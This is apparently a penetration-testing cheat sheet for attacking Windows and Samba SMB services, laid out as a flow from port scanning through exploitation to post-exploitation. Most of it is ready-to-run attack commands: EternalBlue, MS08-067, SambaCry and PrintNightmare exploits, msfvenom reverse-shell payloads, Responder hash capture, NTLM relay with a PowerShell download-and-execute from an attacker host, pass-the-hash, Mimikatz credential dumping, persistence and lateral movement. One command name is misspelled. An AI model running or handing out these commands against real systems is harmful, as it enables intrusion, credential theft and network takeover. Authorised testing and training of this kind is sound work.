SMB Recon & Exploitation

SMB ATTACK FLOW:
──────────────────────────────────────────────────────────────────────
  Target Network
        │
        ▼
  ┌──────────────────────┐
  │  Port Discovery      │  ← nmap 139, 445 | UDP 137, 138
  └──────────┬───────────┘
             │
             ▼
  ┌──────────────────────────────────────────┐
  │  Service & Version Enumeration           │
  │  nmap NSE | smbclient | smbmap           │
  │  enum4linux-ng | crackmapexec | rpcclient│
  └──────────┬───────────────────────────────┘
             │
             ├──────────────────────────────────────┐
             │                                      │
             ▼                                      ▼
  ┌────────────────────┐               ┌────────────────────────┐
  │  Vuln Scanning     │               │  Credential Presence?  │
  │  nmap smb-vuln-*   │               │  Null session / guest? │
  │  MSF smb_ms17_010  │               └───────────┬────────────┘
  └──────────┬─────────┘                           │
             │                           ┌──────────┴──────────────┐
             ▼                           ▼                         ▼
  ┌─────────────────────┐   ┌──────────────────────┐  ┌──────────────────────┐
  │  CVE Exploitation   │   │  Brute Force / Spray │  │  NTLM Capture/Relay  │
  │  EternalBlue        │   │  crackmapexec / hydra│  │  Responder + relay   │
  │  MS08-067           │   └──────────┬───────────┘  └──────────┬───────────┘
  │  EternalRomance     │              │                          │
  └──────────┬──────────┘              └──────────┬───────────────┘
             │                                    │
             └──────────────────┬─────────────────┘
                                ▼
                    ┌────────────────────────┐
                    │  Shell Access          │
                    │  psexec / smbexec      │
                    │  wmiexec / evil-winrm  │
                    └──────────┬─────────────┘
                               ▼
                    ┌────────────────────────┐
                    │  Post-Exploitation     │
                    │  Hash dump / Mimikatz  │
                    │  Lateral Movement      │
                    └────────────────────────┘
──────────────────────────────────────────────────────────────────────

# Quick SMB port check
nmap -p 139,445 <TARGET_IP>
nmap -p 139,445 192.168.1.0/24   # subnet sweep

# Full SMB service scan with version detection
nmap -p 139,445 -sV -sC <TARGET_IP>

# UDP NetBIOS ports
nmap -sU -p 137,138 <TARGET_IP>

# All ports then focus on SMB (useful when SMB runs on non-standard port)
nmap -p- --min-rate 5000 <TARGET_IP>
# Follow up on any SMB-related ports found

# OS + service detection
nmap -p 139,445 -A <TARGET_IP>
# -A = OS detection, version, scripts, traceroute combined

# Stealth scan (SYN only — fewer logs)
nmap -sS -p 139,445 <TARGET_IP>

# Check SMB protocol versions
nmap -p 445 --script smb-protocols <TARGET_IP>
# Output shows: SMBv1 / SMBv2 / SMBv3 support
# SMBv1 enabled = potential EternalBlue target!

# OS and domain discovery via SMB
nmap -p 445 --script smb-os-discovery <TARGET_IP>
# Output:
# OS: Windows 7 Professional 7601 SP1
# Computer name: DESKTOP-ABC123
# Workgroup: WORKGROUP
# System time: 2024-01-01

# Using smbclient
smbclient -L //<TARGET_IP> -N 2>&1 | head -20
# -L = list shares   -N = no password (null session)

# Using nmblookup (NetBIOS)
nmblookup -A <TARGET_IP>
# Outputs: NetBIOS names, workgroup, MAC address

# Using netexec (successor to crackmapexec)
nxc smb <TARGET_IP>
crackmapexec smb <TARGET_IP>
# Output: SMB  10.10.10.X  445  HOSTNAME  [*] Windows 10 x64 (name:HOSTNAME) (domain:DOMAIN) (signing:False) (SMBv1:False)
# KEY: signing:False = NTLM relay possible!

# Test for null session (anonymous access)
smbclient -L //<TARGET_IP> -N
# If shares list returns without password prompt = null session works

# rpcclient with null session
rpcclient -U "" -N <TARGET_IP>
# If prompt appears: null session established

# CrackMapExec null session test
crackmapexec smb <TARGET_IP> -u "" -p ""
crackmapexec smb <TARGET_IP> -u "guest" -p ""

# ─── smbclient ───
# List all shares (null session)
smbclient -L //<TARGET_IP> -N
smbclient -L //<TARGET_IP>             # prompts for password (just hit Enter for null)

# List shares (with credentials)
smbclient -L //<TARGET_IP> -U "username%password"
smbclient -L //<TARGET_IP> -U "DOMAIN\\username%password"

# Connect to a specific share
smbclient //<TARGET_IP>/ShareName -N
smbclient //<TARGET_IP>/C$ -U "administrator%P@ss123"
smbclient //<TARGET_IP>/IPC$ -N

# Commands inside smbclient:
# ls                → list files
# cd <dir>          → change directory
# get <file>        → download file
# put <file>        → upload file
# mget *            → download all files (set recurse + prompt off first)
# prompt off
# recurse on
# mget *

# ─── smbmap ───
# List shares + permissions (null session)
smbmap -H <TARGET_IP>
smbmap -u "" -H <TARGET_IP>           # explicit null user
smbmap -u "guest" -H <TARGET_IP>      # guest user

# With credentials
smbmap -u username -p password -H <TARGET_IP>
smbmap -u username -p password -d DOMAIN -H <TARGET_IP>

# Recursive listing of a share
smbmap -R ShareName -H <TARGET_IP>
smbmap -R ShareName -H <TARGET_IP> -u username -p password

# Download a specific file
smbmap -R ShareName -H <TARGET_IP> -A "*.txt" -q
# -A = only show/get files matching pattern

# Execute command (if admin)
smbmap -u administrator -p P@ss123 -H <TARGET_IP> -x "ipconfig /all"

# ─── CrackMapExec / NetExec ───
# List shares
crackmapexec smb <TARGET_IP> -u username -p password --shares
nxc smb <TARGET_IP> -u username -p password --shares

# Spider shares (recursive content listing)
crackmapexec smb <TARGET_IP> -u username -p password -M spider_plus
# Output saves to /tmp/cme_spider_<HOST>/

# Scan subnet for SMB shares
crackmapexec smb 192.168.1.0/24 -u username -p password --shares

# ─── enum4linux ───
# Full automated enumeration
enum4linux -a <TARGET_IP>
# -a = all checks

# Individual flags:
enum4linux -U <TARGET_IP>    # users
enum4linux -G <TARGET_IP>    # groups
enum4linux -S <TARGET_IP>    # shares
enum4linux -P <TARGET_IP>    # password policy
enum4linux -r <TARGET_IP>    # RID cycling (brute-force user list)
enum4linux -o <TARGET_IP>    # OS info

# ─── enum4linux-ng (improved Python version) ───
git clone https://github.com/cddmp/enum4linux-ng
pip3 install -r requirements.txt
python3 enum4linux-ng.py -A <TARGET_IP>              # all checks
python3 enum4linux-ng.py -A -u username -p password <TARGET_IP>

# ─── rpcclient ───
rpcclient -U "username%password" <TARGET_IP>
rpcclient -U "" -N <TARGET_IP>         # null session

# Inside rpcclient:
srvinfo                        # server info / OS
enumdomusers                   # enumerate domain users
enumdomgroups                  # enumerate groups
querydominfo                   # domain info / user count
querydispinfo                  # detailed user list
getdompwinfo                   # password policy
lookupnames administrator      # look up specific user
lookupsids S-1-5-21-...        # resolve SID to username
netshareenum                   # enumerate shares
netshareenumall                # enumerate ALL shares

# ─── RID Brute Force (user enum without auth) ───
# SIDs follow pattern: S-1-5-21-<domain>-<RID>
# RID 500 = Administrator, 501 = Guest, 1000+ = regular users

# Using impacket lookupsid:
impacket-lookupsid DOMAIN/username:password@<TARGET_IP>
impacket-lookupsid anonymous@<TARGET_IP>   # null session

# Using CrackMapExec:
crackmapexec smb <TARGET_IP> --rid-brute
crackmapexec smb <TARGET_IP> -u "" -p "" --rid-brute

# ─── nmap user enum scripts ───
nmap -p 445 --script smb-enum-users <TARGET_IP>
nmap -p 445 --script smb-enum-users \
     --script-args smbuser=admin,smbpass=password <TARGET_IP>

# ─── Password Policy ───
crackmapexec smb <TARGET_IP> -u username -p password --pass-pol
enum4linux -P <TARGET_IP>
rpcclient -U "" -N <TARGET_IP> -c "getdompwinfo"
# → Reveals: min password length, lockout threshold, lockout duration

# ─── Group Membership ───
crackmapexec smb <TARGET_IP> -u username -p password --groups
crackmapexec smb <TARGET_IP> -u username -p password --local-groups

# ─── Logged-in Users ───
crackmapexec smb <TARGET_IP> -u username -p password --sessions
crackmapexec smb <TARGET_IP> -u username -p password --loggedon-users

# ─── Disks / Drives ───
crackmapexec smb <TARGET_IP> -u username -p password --disks

# ─── nmap SMB scripts full run ───
nmap -p 139,445 --script "smb-*" <TARGET_IP>

# Specific useful NSE scripts:
nmap -p 445 --script smb-enum-shares <TARGET_IP>
nmap -p 445 --script smb-enum-users <TARGET_IP>
nmap -p 445 --script smb-enum-sessions <TARGET_IP>
nmap -p 445 --script smb-enum-groups <TARGET_IP>
nmap -p 445 --script smb-enum-domains <TARGET_IP>
nmap -p 445 --script smb-server-stats <TARGET_IP>
nmap -p 445 --script smb-security-mode <TARGET_IP>
# smb-security-mode: reveals message_signing, user-level/share-level auth

# Scan for ALL SMB vulnerabilities at once
nmap -p 139,445 --script smb-vuln* <TARGET_IP>
nmap -p 139,445 --script smb-vuln* <TARGET_IP> -oA nmap/smb-vuln

# Individual CVE checks:
nmap -p 445 --script smb-vuln-ms17-010 <TARGET_IP>       # EternalBlue
nmap -p 445 --script smb-vuln-ms08-067 <TARGET_IP>       # MS08-067
nmap -p 445 --script smb-vuln-ms10-061 <TARGET_IP>       # Print Spooler
nmap -p 445 --script smb-vuln-ms10-054 <TARGET_IP>       # BSOD vuln
nmap -p 445 --script smb-vuln-cve-2017-7494 <TARGET_IP>  # SambaCry (Linux Samba)
nmap -p 445 --script smb-vuln-regsvc-dos <TARGET_IP>     # DoS
nmap -p 445 --script smb-double-pulsar-backdoor <TARGET_IP> # DoublePulsar check

# Output for MS17-010 (VULNERABLE):
# Host script results:
# | smb-vuln-ms17-010:
# |   VULNERABLE: Remote Code Execution vulnerability in Microsoft SMBv1
# |     State: VULNERABLE
# |     IDs:  CVE:CVE-2017-0144

msfconsole -q

# EternalBlue check (no exploit — just scan)
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS <TARGET_IP>
set RHOSTS 192.168.1.0/24   # or subnet
run

# MS08-067 check
use auxiliary/scanner/smb/smb_ms08_067
set RHOSTS <TARGET_IP>
run

# SMB version scanner
use auxiliary/scanner/smb/smb_version
set RHOSTS <TARGET_IP>
run

# General SMB login (also checks null sessions)
use auxiliary/scanner/smb/smb_login
set RHOSTS <TARGET_IP>
set SMBUser ""
set SMBPass ""
run

# Check for MS17-010
crackmapexec smb <TARGET_IP> -u "" -p "" -M ms17-010

# Check SMB signing (required for relay attacks)
crackmapexec smb 192.168.1.0/24 --gen-relay-list relay_targets.txt
# Saves IPs with signing disabled to relay_targets.txt

nxc smb 192.168.1.0/24 | grep "signing:False"
# Quick visual check for relay-vulnerable hosts

WHAT IT IS:
────────────────────────────────────────────────────────────────────
  SMBv1 buffer overflow in Windows SMB server
  Developed by NSA → leaked by Shadow Brokers (April 2017)
  Used in WannaCry ransomware attack (2017)

  Affected:
  ├── Windows Vista
  ├── Windows 7 (most common in CTFs)
  ├── Windows 8.1
  ├── Windows Server 2008 R2
  ├── Windows Server 2012 R2
  └── Windows Server 2016 R2

  Requirement: SMBv1 must be ENABLED on target
────────────────────────────────────────────────────────────────────

# ─── Step 1: Confirm vulnerability ───
nmap -p 445 --script smb-vuln-ms17-010 <TARGET_IP>
# Must show: VULNERABLE

# ─── Method 1: Metasploit (easiest, most reliable) ───
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
show options

set RHOSTS <TARGET_IP>
set LHOST <ATTACKER_IP>
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp  # 64-bit target
# set PAYLOAD windows/meterpreter/reverse_tcp   # 32-bit target

# Optional: set ExitOnSession false for multiple targets
set ExitOnSession false
run

# ─── If MS17-010 psexec works better ───
use exploit/windows/smb/ms17_010_psexec
set RHOSTS <TARGET_IP>
set LHOST <ATTACKER_IP>
run

# ─── Method 2: Manual exploit (AutoBlue / worawit) ───
git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git
cd AutoBlue-MS17-010

# Install requirements
pip3 install -r requirements.txt
pip2 install -r requirements.txt   # some scripts need python2

# Check target
python3 eternal_checker.py <TARGET_IP>

# Generate shellcode (reverse shell)
# shell_prep.sh asks for LHOST, LPORT, and type (staged/stageless)
chmod +x shell_prep.sh
./shell_prep.sh
# Enter: ATTACKER_IP, 4444, choose staged

# Start listener
nc -lvnp 4444

# Launch exploit
python3 eternalblue_exploit7.py <TARGET_IP> shellcode/sc_x64.bin  # Windows 7
python3 eternalblue_exploit8.py <TARGET_IP> shellcode/sc_x64.bin  # Windows 8
python3 eternalblue_exploitXP.py <TARGET_IP> shellcode/sc_x86.bin # Windows XP

# ─── Method 3: searchsploit ───
searchsploit ms17-010
searchsploit -m windows/remote/42315.py    # Manual EternalBlue Python
# Edit: USERNAME / PASSWORD / target IP inside the script
python2 42315.py <TARGET_IP>

WHAT IT IS:
────────────────────────────────────────────────────────────────────
  Buffer overflow in Windows Server Service (NetAPI32.dll)
  Remote unauthenticated code execution
  Heavily used by Conficker worm (2008)

  Affected:
  ├── Windows XP SP0/SP1/SP2/SP3
  ├── Windows 2000
  ├── Windows Server 2003 SP0/SP1/SP2
  └── Windows Vista (partial)

  Classic CTF target: HackTheBox "Legacy"
────────────────────────────────────────────────────────────────────

# ─── Step 1: Check vulnerability ───
nmap -p 445 --script smb-vuln-ms08-067 <TARGET_IP>
# Look for: LIKELY VULNERABLE or VULNERABLE

# ─── Method 1: Metasploit ───
msfconsole -q
use exploit/windows/smb/ms08_067_netapi
set RHOSTS <TARGET_IP>
set LHOST <ATTACKER_IP>
set LPORT 4444
set PAYLOAD windows/meterpreter/reverse_tcp   # use x86 payload for XP/2003
# Metasploit auto-detects target OS — check with: show targets

# Manual target selection:
# 0 = Automatic Targeting
# 3 = Windows XP SP3 English (UniCode)
# 7 = Windows 2003 SP1 English

set TARGET 0   # auto-detect
run

# ─── Method 2: Manual (searchsploit) ───
searchsploit ms08-067
searchsploit -m windows/remote/6824.txt     # review first
searchsploit -m windows/remote/7132.py      # Python version

# Python2 usage:
python2 7132.py <TARGET_IP> <OS_CODE> <PORT>
# OS codes: 1=XP SP0/1, 2=XP SP2 EN, 3=XP SP3 EN, 6=2003 SP1, 7=2003 SP2
python2 7132.py 10.10.10.4 6 445

WHAT IT IS:
────────────────────────────────────────────────────────────────────
  Second NSA exploit from the Shadow Brokers leak
  Type 1 error (out-of-bounds write) in SMBv1
  More reliable than EternalBlue on some targets

  Affected: Windows XP, Vista, 7, 8, Server 2003/2008/2012/2016
  Advantage over EternalBlue: works on 32-bit AND 64-bit
────────────────────────────────────────────────────────────────────

# Metasploit EternalRomance:
msfconsole -q
use exploit/windows/smb/ms17_010_psexec
# This module uses EternalRomance/EternalChampion/EternalSynergy
# More compatible across OS versions than pure EternalBlue

set RHOSTS <TARGET_IP>
set LHOST <ATTACKER_IP>
set LPORT 4444
set PAYLOAD windows/meterpreter/reverse_tcp
run

# Manual EternalRomance:
git clone https://github.com/worawit/MS17-010
cd MS17-010
# checker.py — verify vuln status
python checker.py <TARGET_IP>

# zzz_exploit.py — EternalRomance/Champion/Synergy
# Edit: USERNAME, PASSWORD (can be blank for null session)
# Edit: smb_pwn() function to add your shellcode or command
python zzz_exploit.py <TARGET_IP>

WHAT IT IS:
────────────────────────────────────────────────────────────────────
  RCE in Samba (Linux/Unix SMB implementation)
  Nicknamed "SambaCry" — similar concept to WannaCry
  Loads attacker-controlled shared library via pipe_open

  Affected: Samba 3.5.0 to 4.6.4/4.5.10/4.4.14
  Requirement: writable share + smbd running as root
────────────────────────────────────────────────────────────────────

# Check Samba version (Linux targets)
nmap -p 445 --script smb-os-discovery <TARGET_IP>
# or:
smbclient -L //<TARGET_IP> -N 2>&1 | grep -i "samba\|version"

# Vulnerability check
nmap -p 445 --script smb-vuln-cve-2017-7494 <TARGET_IP>

# Metasploit SambaCry:
msfconsole -q
use exploit/linux/samba/is_known_pipename
set RHOSTS <TARGET_IP>
set LHOST <ATTACKER_IP>
set LPORT 4444
set PAYLOAD linux/x86/meterpreter/reverse_tcp
run

# Manual exploit:
git clone https://github.com/joxeankoret/CVE-2017-7494
# Requires: access to a writable Samba share
# 1. Compile the shared library payload (shellcode .so file)
# 2. Upload .so to writable share
# 3. Call IPC$ pipe with path to the uploaded .so → it gets loaded + executed

WHAT IT IS:
────────────────────────────────────────────────────────────────────
  Windows Print Spooler RCE — exposed via SMB (\\host\pipe\spoolss)
  Two variants:
  ├── CVE-2021-1675  — local privilege escalation (LPE)
  └── CVE-2021-34527 — remote code execution (RCE) via SMB

  Affected: All Windows versions prior to July 2021 patches
  Impact: SYSTEM privileges
────────────────────────────────────────────────────────────────────

# Check if Print Spooler is running
crackmapexec smb <TARGET_IP> -u username -p password \
    -M spooler

# Check with rpcclient
rpcclient -U "username%password" <TARGET_IP> -c "enumdrivers 3"
# If output shows drivers = spooler is running

# ─── CVE-2021-34527 Remote Exploit (cube0x0) ───
git clone https://github.com/cube0x0/CVE-2021-1675
pip3 install impacket

# Method 1: Add admin user via SMB
python3 CVE-2021-1675.py DOMAIN/user:pass@<TARGET_IP> '\\<ATTACKER_IP>\share\evil.dll'
# evil.dll = DLL that adds admin user / reverse shell

# Generate DLL payload (msfvenom):
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=<ATTACKER_IP> LPORT=4444 \
    -f dll > evil.dll

# Host DLL via SMB share:
impacket-smbserver share . -smb2support

# Then: start MSF listener and run exploit

# Method 2: Powershell LPE (local — already on target)
# Import-Module .\CVE-2021-1675.ps1
# Invoke-Nightmare -NewUser "hacker" -NewPassword "P@ss123"
# Invoke-Nightmare -DLL "C:\absolute\path\to\evil.dll"

# ─── Single user brute force ───
crackmapexec smb <TARGET_IP> -u administrator -p /usr/share/wordlists/rockyou.txt

# ─── User list + password list ───
crackmapexec smb <TARGET_IP> -u users.txt -p passwords.txt

# ─── Password spraying (one password, many users) ───
# SAFE — avoids lockout by testing 1 password per user
crackmapexec smb <TARGET_IP> -u users.txt -p "Password123" --continue-on-success
crackmapexec smb 192.168.1.0/24 -u users.txt -p "Password123" --continue-on-success

# ─── Check for local admin access across subnet ───
crackmapexec smb 192.168.1.0/24 -u administrator -p "P@ss123"
# Pwned! marker = successfully authenticated + local admin

# ─── Domain authentication ───
crackmapexec smb <TARGET_IP> -u username -p password -d DOMAIN.LOCAL

# ─── Built-in filters ───
crackmapexec smb <TARGET_IP> -u users.txt -p passwords.txt \
    --no-bruteforce        # test user:pass pairs (not all combinations)
    --continue-on-success  # keep going after finding valid creds

# SMB brute force with Hydra
hydra -l administrator -P /usr/share/wordlists/rockyou.txt \
    smb://<TARGET_IP>

# With user list
hydra -L users.txt -P passwords.txt smb://<TARGET_IP>

# Single password spray
hydra -L users.txt -p "Password123" smb://<TARGET_IP>

# Verbose output
hydra -l admin -P rockyou.txt smb://<TARGET_IP> -V

msfconsole -q
use auxiliary/scanner/smb/smb_login
set RHOSTS <TARGET_IP>
set RHOSTS 192.168.1.0/24   # subnet scan

# Single user
set SMBUser administrator
set PASS_FILE /usr/share/wordlists/rockyou.txt

# User + pass lists
set USER_FILE users.txt
set PASS_FILE passwords.txt

# Domain auth
set SMBDomain DOMAIN.LOCAL

# Avoid lockout
set STOP_ON_SUCCESS true
set BLANK_PASSWORDS true    # test blank passwords first
run

ATTACK FLOW:
──────────────────────────────────────────────────────────────────────
  Victim machine tries to resolve hostname "fileserver" (typo/non-existent)

  Step 1: DNS lookup → FAILS (no DNS record)
  Step 2: LLMNR broadcast → "Who is 'fileserver'?"
          (Link-Local Multicast Name Resolution — broadcast on LAN)
  Step 3: Responder (attacker) hears broadcast → responds "I am fileserver!"
  Step 4: Victim sends NTLM authentication challenge/response to Responder
  Step 5: Responder captures the NTLMv2 hash → offline crack / relay

  Alternative trigger: NBT-NS (port 137) broadcasts — same poisoning method
──────────────────────────────────────────────────────────────────────

# Installation (pre-installed on Kali)
git clone https://github.com/lgandx/Responder.git
cd Responder

# Check your network interface
ip a   # find your LAN interface (e.g., eth0, ens33)

# ─── Start Responder (basic — captures hashes) ───
sudo python3 Responder.py -I eth0 -wrf
# -I = interface
# -w = WPAD rogue proxy
# -r = enable answers for NetBIOS wredir suffix
# -f = fingerprint hosts

# ─── Analyze mode only (no poisoning — just listen) ───
sudo python3 Responder.py -I eth0 -A
# -A = analyze mode — no response, just observe

# ─── Common flags ───
sudo python3 Responder.py -I eth0 \
    -wrf \
    --lm              # force LM hash downgrade (old systems)
    --disable-ess     # disable extended session security

# Hashes are saved to:
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-<IP>.txt
ls /usr/share/responder/logs/

# NTLMv2 hash format captured by Responder:
# username::DOMAIN:challenge:hash:hash2

# Hashcat — NTLMv2 (mode 5600)
hashcat -a 0 -m 5600 captured_hash.txt /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 5600 captured_hash.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule

# John the Ripper
john captured_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john captured_hash.txt --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt

# NTLMv1 (mode 5500 in hashcat — less common)
hashcat -a 0 -m 5500 captured_hash.txt rockyou.txt

# If cracked → use plaintext password everywhere (smb, rdp, winrm, ldap)
crackmapexec smb <TARGET_IP> -u username -p "CrackedPassword"

NTLM RELAY FLOW:
──────────────────────────────────────────────────────────────────────
  Requirements:
  ├── SMB Signing DISABLED on at least one target
  └── LLMNR/NBT-NS active on victim's subnet

  Attack Chain:
  Victim → (LLMNR) → Attacker (Responder — capture mode)
  Victim → (NTLM Challenge) → Attacker (ntlmrelayx) → Target Server
  Target Server ← (relayed auth) ← Attacker
  Target Server → grants access → Attacker → SHELL / HASH DUMP

  KEY DIFFERENCE from hash capture:
  → Hash capture: offline crack needed
  → Relay: NO cracking needed — authenticate IN REAL TIME as victim
──────────────────────────────────────────────────────────────────────

# ─── Step 1: Identify hosts with SMB signing disabled ───
crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt
# targets.txt = list of IPs with signing:False

# Verify manually:
nmap -p 445 --script smb-security-mode 192.168.1.0/24 | grep -B4 "message_signing: disabled"

# ─── Step 2: Configure Responder to NOT respond to SMB/HTTP ───
# (ntlmrelayx will handle those — Responder just poisons name resolution)
sudo nano /etc/responder/Responder.conf
# Set: SMB = Off
# Set: HTTP = Off

# ─── Step 3: Start Responder (poisoning only) ───
sudo python3 Responder.py -I eth0 -wrf

# ─── Step 4: Start ntlmrelayx (separate terminal) ───

# Relay → dump SAM hashes from all targets
impacket-ntlmrelayx -tf targets.txt -smb2support
# → On successful relay → dumps local SAM hashes from target

# Relay → interactive SMB shell
impacket-ntlmrelayx -tf targets.txt -smb2support -i
# → "Started interactive SMB client shell via TCP on 127.0.0.1:11000"
# → Connect to it: nc 127.0.0.1 11000

# Relay → execute command
impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami > C:\output.txt"

# Relay → execute reverse shell
# First prepare payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 \
    -f exe > shell.exe
python3 -m http.server 8080

# Start listener:
nc -lvnp 4444

# Relay with download + execute:
impacket-ntlmrelayx -tf targets.txt -smb2support \
    -c "powershell -c \"IEX(IWR http://<ATTACKER_IP>:8080/shell.exe -OutFile C:\\Temp\\s.exe); C:\\Temp\\s.exe\""

# Relay to LDAP (if DC is target — create new admin user)
impacket-ntlmrelayx -t ldap://<DC_IP> --no-smb-server -wh <ATTACKER_IP>
# → Creates new domain admin account!

PASS-THE-HASH:
──────────────────────────────────────────────────────────────────────
  Windows NTLM auth uses hash directly — no need for plaintext password
  → Capture hash via Mimikatz / secretsdump / SAM dump
  → Use hash directly to authenticate — no cracking needed!

  Hash format used: LM:NTLM
  → LM is often empty: aad3b435b51404eeaad3b435b51404ee:NTLM_HASH
  → In most tools: use just the NTLM part after the colon (:NTLM_HASH)
──────────────────────────────────────────────────────────────────────

# ─── Method 1: Mimikatz (on compromised Windows box) ───
# Upload mimikatz.exe to target, then run:
mimikatz.exe
privilege::debug                          # enable debug rights
sekurlsa::logonpasswords                  # dump plaintext passwords + hashes
sekurlsa::msv                             # only NTLM hashes (no plaintext)
lsadump::sam                              # dump SAM database hashes
lsadump::lsa /patch                       # patch LSASS → dump all hashes

# One-liner:
mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit"

# ─── Method 2: impacket-secretsdump (remote, needs credentials) ───
impacket-secretsdump DOMAIN/username:password@<TARGET_IP>
impacket-secretsdump administrator:P@ss123@<TARGET_IP>

# Local SAM dump (if system)
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
# Get SAM+SYSTEM files from: C:\Windows\System32\config\

# ─── Method 3: CrackMapExec secretsdump ───
crackmapexec smb <TARGET_IP> -u administrator -p P@ss123 --sam
crackmapexec smb <TARGET_IP> -u administrator -p P@ss123 --lsa
crackmapexec smb <TARGET_IP> -u administrator -H <NTLM_HASH> --sam

# ─── Method 4: Meterpreter hashdump ───
meterpreter > hashdump
# or (more thorough):
meterpreter > run post/windows/gather/smart_hashdump

# Hash output format:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
#    ↑ username  ↑ RID  ↑ LM hash (empty/disabled)              ↑ NT hash

# ─── impacket-psexec (SYSTEM shell) ───
impacket-psexec administrator@<TARGET_IP> -hashes :<NTLM_HASH>
impacket-psexec DOMAIN/administrator@<TARGET_IP> -hashes :<NTLM_HASH>
# Full format:
impacket-psexec DOMAIN/administrator@<TARGET_IP> \
    -hashes aad3b435b51404eeaad3b435b51404ee:<NTLM_HASH>
# → Drops to SYSTEM shell

# ─── impacket-wmiexec (quieter — no service/file creation) ───
impacket-wmiexec administrator@<TARGET_IP> -hashes :<NTLM_HASH>
# → Less forensic footprint than psexec
# → Runs as user (not SYSTEM) — but still effective

# ─── impacket-smbexec (alternative) ───
impacket-smbexec administrator@<TARGET_IP> -hashes :<NTLM_HASH>

# ─── CrackMapExec PtH ───
# Verify hash works
crackmapexec smb <TARGET_IP> -u administrator -H <NTLM_HASH>
# Pwned! = hash valid + local admin

# Execute command
crackmapexec smb <TARGET_IP> -u administrator -H <NTLM_HASH> -x "whoami"
crackmapexec smb <TARGET_IP> -u administrator -H <NTLM_HASH> -X "Get-Process"  # PowerShell

# Spray hash across subnet
crackmapexec smb 192.168.1.0/24 -u administrator -H <NTLM_HASH>

# ─── Evil-WinRM PtH (WinRM port 5985/5986) ───
evil-winrm -i <TARGET_IP> -u administrator -H <NTLM_HASH>
# → Full interactive PowerShell session

# ─── Metasploit PtH ───
msfconsole -q
use exploit/windows/smb/psexec
set RHOSTS <TARGET_IP>
set SMBUser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:<NTLM_HASH>  # LM:NT format
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <ATTACKER_IP>
run

# ─── Mimikatz PtH (on Windows attacker) ───
mimikatz.exe "sekurlsa::pth /user:Administrator /domain:WORKGROUP /ntlm:<NTLM_HASH> /run:cmd.exe" exit
# → Opens new cmd.exe running as administrator using the hash

# ─── Authenticated access with credentials ───
impacket-psexec DOMAIN/user:password@<TARGET_IP>
impacket-wmiexec DOMAIN/user:password@<TARGET_IP>
impacket-smbexec DOMAIN/user:password@<TARGET_IP>
impacket-atexec DOMAIN/user:password@<TARGET_IP> "whoami"

# ─── Execute specific command (non-interactive) ───
impacket-wmiexec administrator:P@ss123@<TARGET_IP> "systeminfo"
impacket-atexec administrator:P@ss123@<TARGET_IP> "net user"

# ─── SMB file operations (no shell) ───
# Mount SMB share on Linux
sudo mount -t cifs //<TARGET_IP>/ShareName /mnt/smb \
     -o username=user,password=pass,domain=DOMAIN

# Unmount
sudo umount /mnt/smb

# Run command as authenticated user
crackmapexec smb <TARGET_IP> -u admin -p pass -x "net user"
crackmapexec smb <TARGET_IP> -u admin -p pass -X "Get-LocalUser"  # PowerShell

# Enable WinRM via SMB (then use evil-winrm)
crackmapexole smb <TARGET_IP> -u admin -p pass -X \
    "Enable-PSRemoting -Force; Set-Item WSMan:\localhost\client\trustedhosts -Value '*'"

# Download file via SMB after getting access
crackmapexec smb <TARGET_IP> -u admin -p pass --get-file \
    "C:\Users\Administrator\Desktop\flag.txt" /tmp/flag.txt

# After getting meterpreter session via EternalBlue or psexec:

# ─── Basic enumeration ───
meterpreter > sysinfo                        # OS version, hostname
meterpreter > getuid                         # current user
meterpreter > getpid                         # current process PID
meterpreter > ps                             # list running processes

# ─── Privilege check + escalation ───
meterpreter > getprivs                       # list privileges
# Look for: SeImpersonatePrivilege, SeDebugPrivilege, SeLoadDriverPrivilege

# Migrate to SYSTEM process
meterpreter > ps
# Find lsass.exe or winlogon.exe (SYSTEM processes)
meterpreter > migrate <PID_OF_SYSTEM_PROCESS>
meterpreter > getuid
# → NT AUTHORITY\SYSTEM

# ─── Hash dumping ───
meterpreter > hashdump
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:NTLM:::

# More thorough hash dump (incl domain, cached credentials)
meterpreter > run post/windows/gather/smart_hashdump
meterpreter > run post/windows/gather/credentials/domain_hashdump

# ─── Mimikatz via Meterpreter ───
meterpreter > load kiwi                      # load mimikatz
meterpreter > creds_all                      # dump everything
meterpreter > lsa_dump_sam                   # SAM hashes
meterpreter > lsa_dump_secrets               # LSA secrets
meterpreter > wifi_list                      # saved WiFi passwords!

# ─── File operations ───
meterpreter > download C:\Users\Administrator\Desktop\root.txt /tmp/
meterpreter > upload /tmp/nc.exe C:\Windows\Temp\nc.exe
meterpreter > search -f *.txt -d C:\Users   # find files
meterpreter > search -f password* -d C:\    # hunt for password files

# ─── Pivoting / Port Forwarding ───
meterpreter > portfwd add -l 3389 -p 3389 -r <TARGET_IP>
# Now: rdesktop 127.0.0.1:3389 or xfreerdp /v:127.0.0.1:3389

# ─── Shell drop ───
meterpreter > shell                          # drop to cmd.exe
# Ctrl+Z → back to meterpreter

# ─── Persistence ───
meterpreter > run post/windows/manage/persistence \
    STARTUP=SCHEDULER LHOST=<ATTACKER_IP> LPORT=4444

# ─── Use captured hashes to move to other hosts ───
# Step 1: Get subnet range
meterpreter > run arp
meterpreter > run post/multi/gather/ping_sweep RHOSTS=192.168.1.0/24

# Step 2: Port scan internal network
meterpreter > run post/multi/gather/nmap RHOSTS=192.168.1.0/24 PORTS=445

# Step 3: Try captured hashes against all hosts
crackmapexec smb 192.168.1.0/24 -u administrator -H <NTLM_HASH>

# Step 4: Drop shells on all pwned hosts
